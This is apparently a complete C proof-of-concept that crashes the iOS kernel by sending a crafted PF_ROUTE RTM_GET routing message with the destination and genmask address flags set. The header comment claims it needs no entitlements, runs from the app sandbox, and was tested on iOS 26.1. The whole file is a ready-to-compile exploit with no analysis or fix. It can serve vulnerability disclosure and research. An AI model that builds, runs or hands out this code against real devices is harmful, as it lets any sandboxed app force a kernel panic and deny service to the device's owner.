/*
 * PF_ROUTE RTM_GET kernel panic PoC
 * 
 * Trigger: RTM_GET with RTA_DST | RTA_GENMASK (0x09)
 * Result:  Kernel data abort at NULL+0x18 (radix node key deref)
 * Access:  No entitlements required, works from app sandbox
 * 
 * Tested on: iOS 26.1 (xnu-12377.42.6)
 */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#define RTM_VERSION 5
#define RTM_GET     4
#define RTA_DST     0x01
#define RTA_GENMASK 0x08

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t  rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};

struct rt_msghdr {
    unsigned short rtm_msglen;
    unsigned char  rtm_version;
    unsigned char  rtm_type;
    unsigned short rtm_index;
    int            rtm_flags;
    int            rtm_addrs;
    int            rtm_pid;
    int            rtm_seq;
    int            rtm_errno;
    int            rtm_use;
    unsigned int   rtm_inits;
    struct rt_metrics rtm_rmx;
};

int main(void) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) return 1;

    char buf[256];
    memset(buf, 0, sizeof(buf));

    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type    = RTM_GET;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq     = 1;
    rtm->rtm_addrs   = RTA_DST | RTA_GENMASK;

    int off = sizeof(*rtm);

    struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
    dst->sin_family = AF_INET;
    dst->sin_len    = sizeof(*dst);
    dst->sin_addr.s_addr = inet_addr("8.8.8.8");
    off += sizeof(*dst);

    struct sockaddr_in *genmask = (struct sockaddr_in *)(buf + off);
    genmask->sin_family = AF_INET;
    genmask->sin_len    = sizeof(*genmask);
    genmask->sin_addr.s_addr = inet_addr("255.255.255.0");
    off += sizeof(*genmask);

    rtm->rtm_msglen = off;

    write(fd, buf, rtm->rtm_msglen);
    close(fd);
    return 0;
}
